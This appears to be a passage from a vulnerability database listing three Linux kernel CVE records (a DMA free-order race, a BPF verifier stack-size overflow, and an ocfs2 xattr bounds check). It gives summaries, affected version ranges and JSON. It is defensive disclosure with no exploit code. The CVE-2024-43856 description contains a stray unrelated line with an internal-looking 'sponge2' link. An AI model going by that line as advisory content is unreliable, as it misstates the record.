Linux	Linux	Affected: 9ac7849e35f705830f7b016ff272b0ff1f7ff759 , < fe2d246080f035e0af5793cb79067ba125e4fb63 (git) Affected: 9ac7849e35f705830f7b016ff272b0ff1f7ff759 , < 2f7bbdc744f2e7051d1cb47c8e082162df1923c9 (git) Affected: 9ac7849e35f705830f7b016ff272b0ff1f7ff759 , < 257193083e8f43907e99ea633820fc2b3bcd24c7 (git) Affected: 9ac7849e35f705830f7b016ff272b0ff1f7ff759 , < 87b34c8c94e29fa01d744e5147697f592998d954 (git) Affected: 9ac7849e35f705830f7b016ff272b0ff1f7ff759 , < f993a4baf6b622232e4c190d34c220179e5d61eb (git) Affected: 9ac7849e35f705830f7b016ff272b0ff1f7ff759 , < 1fe97f68fce1ba24bf823bfb0eb0956003473130 (git) Affected: 9ac7849e35f705830f7b016ff272b0ff1f7ff759 , < 22094f5f52e7bc16c5bf9613365049383650b02e (git) Affected: 9ac7849e35f705830f7b016ff272b0ff1f7ff759 , < 28e8b7406d3a1f5329a03aa25a43aa28e087cb20 (git)
Linux	Linux	Affected: 2.6.21 Unaffected: 0 , < 2.6.21 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-43856",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:07:08.178694Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:20.523Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:05:56.178Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:58.649Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/dma/mapping.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "fe2d246080f035e0af5793cb79067ba125e4fb63",
              "status": "affected",
              "version": "9ac7849e35f705830f7b016ff272b0ff1f7ff759",
              "versionType": "git"
            },
            {
              "lessThan": "2f7bbdc744f2e7051d1cb47c8e082162df1923c9",
              "status": "affected",
              "version": "9ac7849e35f705830f7b016ff272b0ff1f7ff759",
              "versionType": "git"
            },
            {
              "lessThan": "257193083e8f43907e99ea633820fc2b3bcd24c7",
              "status": "affected",
              "version": "9ac7849e35f705830f7b016ff272b0ff1f7ff759",
              "versionType": "git"
            },
            {
              "lessThan": "87b34c8c94e29fa01d744e5147697f592998d954",
              "status": "affected",
              "version": "9ac7849e35f705830f7b016ff272b0ff1f7ff759",
              "versionType": "git"
            },
            {
              "lessThan": "f993a4baf6b622232e4c190d34c220179e5d61eb",
              "status": "affected",
              "version": "9ac7849e35f705830f7b016ff272b0ff1f7ff759",
              "versionType": "git"
            },
            {
              "lessThan": "1fe97f68fce1ba24bf823bfb0eb0956003473130",
              "status": "affected",
              "version": "9ac7849e35f705830f7b016ff272b0ff1f7ff759",
              "versionType": "git"
            },
            {
              "lessThan": "22094f5f52e7bc16c5bf9613365049383650b02e",
              "status": "affected",
              "version": "9ac7849e35f705830f7b016ff272b0ff1f7ff759",
              "versionType": "git"
            },
            {
              "lessThan": "28e8b7406d3a1f5329a03aa25a43aa28e087cb20",
              "status": "affected",
              "version": "9ac7849e35f705830f7b016ff272b0ff1f7ff759",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/dma/mapping.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.21"
            },
            {
              "lessThan": "2.6.21",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.21",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndma: fix call order in dmam_free_coherent\n\ndmam_free_coherent() frees a DMA allocation, which makes the\nfreed vaddr available for reuse, then calls devres_destroy()\nto remove and free the data structure used to track the DMA\nallocation. Between the two calls, it is possible for a\nconcurrent task to make an allocation with the same vaddr\nand add it to the devres list.\n\nIf this happens, there will be two entries in the devres list\nwith the same vaddr and devres_destroy() can free the wrong\nentry, triggering the WARN_ON() in dmam_match.\n\nFix by destroying the devres entry before freeing the DMA\nallocation.\n\n  kokonut //net/encryption\n    http://sponge2/b9145fe6-0f72-4325-ac2f-a84d81075b03"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:31:08.585Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/fe2d246080f035e0af5793cb79067ba125e4fb63"
        },
        {
          "url": "https://git.kernel.org/stable/c/2f7bbdc744f2e7051d1cb47c8e082162df1923c9"
        },
        {
          "url": "https://git.kernel.org/stable/c/257193083e8f43907e99ea633820fc2b3bcd24c7"
        },
        {
          "url": "https://git.kernel.org/stable/c/87b34c8c94e29fa01d744e5147697f592998d954"
        },
        {
          "url": "https://git.kernel.org/stable/c/f993a4baf6b622232e4c190d34c220179e5d61eb"
        },
        {
          "url": "https://git.kernel.org/stable/c/1fe97f68fce1ba24bf823bfb0eb0956003473130"
        },
        {
          "url": "https://git.kernel.org/stable/c/22094f5f52e7bc16c5bf9613365049383650b02e"
        },
        {
          "url": "https://git.kernel.org/stable/c/28e8b7406d3a1f5329a03aa25a43aa28e087cb20"
        }
      ],
      "title": "dma: fix call order in dmam_free_coherent",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-43856",
    "datePublished": "2024-08-17T09:24:26.560Z",
    "dateReserved": "2024-08-17T09:11:59.278Z",
    "dateUpdated": "2026-05-12T11:56:58.649Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35905 (GCVE-0-2024-35905)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

bpf: Protect against int overflow for stack access size

Summary

In the Linux kernel, the following vulnerability has been resolved: bpf: Protect against int overflow for stack access size This patch re-introduces protection against the size of access to stack memory being negative; the access size can appear negative as a result of overflowing its signed int representation. This should not actually happen, as there are other protections along the way, but we should protect against it anyway. One code path was missing such protections (fixed in the previous patch in the series), causing out-of-bounds array accesses in check_stack_range_initialized(). This patch causes the verification of a program with such a non-sensical access size to fail. This check used to exist in a more indirect way, but was inadvertendly removed in a833a17aeac7.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/9970e059af4714784…
https://git.kernel.org/stable/c/37dc1718dc0c4392d…
https://git.kernel.org/stable/c/98cdac206b112bec6…
https://git.kernel.org/stable/c/3f0784b2f1eb91479…
https://git.kernel.org/stable/c/203a68151e8eeb331…
https://git.kernel.org/stable/c/ecc6a2101840177e5…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: afea95d319ccb4ad2060dece9ac5e2e364dec543 , < 9970e059af471478455f9534e8c3db82f8c5496d (git) Affected: 02962684258eb53f414a8a59854767be526e6abb , < 37dc1718dc0c4392dbfcb9adec22a776e745dd69 (git) Affected: b1d4d54d32ce6342f5faffe71bae736540ce7cb5 , < 98cdac206b112bec63852e94802791e316acc2c1 (git) Affected: 08b91babccbb168353f8d43fea0ed28a4cad568c , < 3f0784b2f1eb9147973d8c43ba085c5fdf44ff69 (git) Affected: a833a17aeac73b33f79433d7cee68d5cafd71e4f , < 203a68151e8eeb331d4a64ab78303f3a15faf103 (git) Affected: a833a17aeac73b33f79433d7cee68d5cafd71e4f , < ecc6a2101840177e57c925c102d2d29f260d37c8 (git) Affected: 1858b8a331937f3976d8482cd5f6e1f945294ad3 (git)
Linux	Linux	Affected: 6.8 Unaffected: 0 , < 6.8 (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35905",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-21T15:34:20.280116Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:52.056Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.025Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9970e059af471478455f9534e8c3db82f8c5496d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/37dc1718dc0c4392dbfcb9adec22a776e745dd69"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/98cdac206b112bec63852e94802791e316acc2c1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3f0784b2f1eb9147973d8c43ba085c5fdf44ff69"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/203a68151e8eeb331d4a64ab78303f3a15faf103"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ecc6a2101840177e57c925c102d2d29f260d37c8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:38.972Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/verifier.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "9970e059af471478455f9534e8c3db82f8c5496d",
              "status": "affected",
              "version": "afea95d319ccb4ad2060dece9ac5e2e364dec543",
              "versionType": "git"
            },
            {
              "lessThan": "37dc1718dc0c4392dbfcb9adec22a776e745dd69",
              "status": "affected",
              "version": "02962684258eb53f414a8a59854767be526e6abb",
              "versionType": "git"
            },
            {
              "lessThan": "98cdac206b112bec63852e94802791e316acc2c1",
              "status": "affected",
              "version": "b1d4d54d32ce6342f5faffe71bae736540ce7cb5",
              "versionType": "git"
            },
            {
              "lessThan": "3f0784b2f1eb9147973d8c43ba085c5fdf44ff69",
              "status": "affected",
              "version": "08b91babccbb168353f8d43fea0ed28a4cad568c",
              "versionType": "git"
            },
            {
              "lessThan": "203a68151e8eeb331d4a64ab78303f3a15faf103",
              "status": "affected",
              "version": "a833a17aeac73b33f79433d7cee68d5cafd71e4f",
              "versionType": "git"
            },
            {
              "lessThan": "ecc6a2101840177e57c925c102d2d29f260d37c8",
              "status": "affected",
              "version": "a833a17aeac73b33f79433d7cee68d5cafd71e4f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "1858b8a331937f3976d8482cd5f6e1f945294ad3",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/verifier.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.8"
            },
            {
              "lessThan": "6.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10.209",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.15.148",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "6.1.75",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "6.6.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.7.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Protect against int overflow for stack access size\n\nThis patch re-introduces protection against the size of access to stack\nmemory being negative; the access size can appear negative as a result\nof overflowing its signed int representation. This should not actually\nhappen, as there are other protections along the way, but we should\nprotect against it anyway. One code path was missing such protections\n(fixed in the previous patch in the series), causing out-of-bounds array\naccesses in check_stack_range_initialized(). This patch causes the\nverification of a program with such a non-sensical access size to fail.\n\nThis check used to exist in a more indirect way, but was inadvertendly\nremoved in a833a17aeac7."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:31.449Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/9970e059af471478455f9534e8c3db82f8c5496d"
        },
        {
          "url": "https://git.kernel.org/stable/c/37dc1718dc0c4392dbfcb9adec22a776e745dd69"
        },
        {
          "url": "https://git.kernel.org/stable/c/98cdac206b112bec63852e94802791e316acc2c1"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f0784b2f1eb9147973d8c43ba085c5fdf44ff69"
        },
        {
          "url": "https://git.kernel.org/stable/c/203a68151e8eeb331d4a64ab78303f3a15faf103"
        },
        {
          "url": "https://git.kernel.org/stable/c/ecc6a2101840177e57c925c102d2d29f260d37c8"
        }
      ],
      "title": "bpf: Protect against int overflow for stack access size",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35905",
    "datePublished": "2024-05-19T08:34:58.347Z",
    "dateReserved": "2024-05-17T13:50:33.120Z",
    "dateUpdated": "2026-05-12T11:52:38.972Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-41016 (GCVE-0-2024-41016)

Vulnerability from cvelistv5 – Published: 2024-07-29 06:37 – Updated: 2026-05-12 11:56

Title

ocfs2: strict bound check before memcmp in ocfs2_xattr_find_entry()

Summary

In the Linux kernel, the following vulnerability has been resolved: ocfs2: strict bound check before memcmp in ocfs2_xattr_find_entry() xattr in ocfs2 maybe 'non-indexed', which saved with additional space requested. It's better to check if the memory is out of bound before memcmp, although this possibility mainly comes from crafted poisonous images.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e2b3d7a9d019d4d1a…
https://git.kernel.org/stable/c/e8f9c4af7af7e9e4c…
https://git.kernel.org/stable/c/57a3d89831fcaa2cd…
https://git.kernel.org/stable/c/c031d286eceb82f72…
https://git.kernel.org/stable/c/cfb926051fab19b10…
https://git.kernel.org/stable/c/c726dea9d0c806d64…
https://git.kernel.org/stable/c/e4ffea01adf3323c8…
https://git.kernel.org/stable/c/af77c4fc1871847b5…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: cf1d6c763fbcb115263114302485ad17e7933d87 , < e2b3d7a9d019d4d1a0da6c3ea64a1ff79c99c090 (git) Affected: cf1d6c763fbcb115263114302485ad17e7933d87 , < e8f9c4af7af7e9e4cd09c0251c7936593147419f (git) Affected: cf1d6c763fbcb115263114302485ad17e7933d87 , < 57a3d89831fcaa2cdbe024b47c7c36d5a56c3637 (git) Affected: cf1d6c763fbcb115263114302485ad17e7933d87 , < c031d286eceb82f72f8623b7f4abd2aa491bfb5e (git) Affected: cf1d6c763fbcb115263114302485ad17e7933d87 , < cfb926051fab19b10d1e65976211f364aa820180 (git) Affected: cf1d6c763fbcb115263114302485ad17e7933d87 , < c726dea9d0c806d64c26fcef483b1fb9474d8c5e (git) Affected: cf1d6c763fbcb115263114302485ad17e7933d87 , < e4ffea01adf3323c821b6f37e9577d2d400adbaa (git) Affected: cf1d6c763fbcb115263114302485ad17e7933d87 , < af77c4fc1871847b528d58b7fdafb4aa1f6a9262 (git)
Linux	Linux	Affected: 2.6.28 Unaffected: 0 , < 2.6.28 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.112 , ≤ 6.1.* (semver) Unaffected: 6.6.53 , ≤ 6.6.* (semver) Unaffected: 6.10.12 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:59:18.988Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/af77c4fc1871847b528d58b7fdafb4aa1f6a9262"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-41016",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:24:43.120825Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:05.725Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:13.855Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ocfs2/xattr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e2b3d7a9d019d4d1a0da6c3ea64a1ff79c99c090",
              "status": "affected",
              "version": "cf1d6c763fbcb115263114302485ad17e7933d87",
              "versionType": "git"
            },
            {
              "lessThan": "e8f9c4af7af7e9e4cd09c0251c7936593147419f",
              "status": "affected",
              "version": "cf1d6c763fbcb115263114302485ad17e7933d87",
              "versionType": "git"
            },
            {
              "lessThan": "57a3d89831fcaa2cdbe024b47c7c36d5a56c3637",
              "status": "affected",
              "version": "cf1d6c763fbcb115263114302485ad17e7933d87",
              "versionType": "git"
            },
            {
              "lessThan": "c031d286eceb82f72f8623b7f4abd2aa491bfb5e",
              "status": "affected",
              "version": "cf1d6c763fbcb115263114302485ad17e7933d87",
              "versionType": "git"
            },
            {
              "lessThan": "cfb926051fab19b10d1e65976211f364aa820180",
              "status": "affected",
              "version": "cf1d6c763fbcb115263114302485ad17e7933d87",
              "versionType": "git"
            },
            {
              "lessThan": "c726dea9d0c806d64c26fcef483b1fb9474d8c5e",
              "status": "affected",
              "version": "cf1d6c763fbcb115263114302485ad17e7933d87",
              "versionType": "git"
            },
            {
              "lessThan": "e4ffea01adf3323c821b6f37e9577d2d400adbaa",
              "status": "affected",
              "version": "cf1d6c763fbcb115263114302485ad17e7933d87",
              "versionType": "git"
            },
            {
              "lessThan": "af77c4fc1871847b528d58b7fdafb4aa1f6a9262",
              "status": "affected",
              "version": "cf1d6c763fbcb115263114302485ad17e7933d87",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ocfs2/xattr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.28"
            },
            {
              "lessThan": "2.6.28",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.112",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.53",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.28",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.28",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.28",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.28",
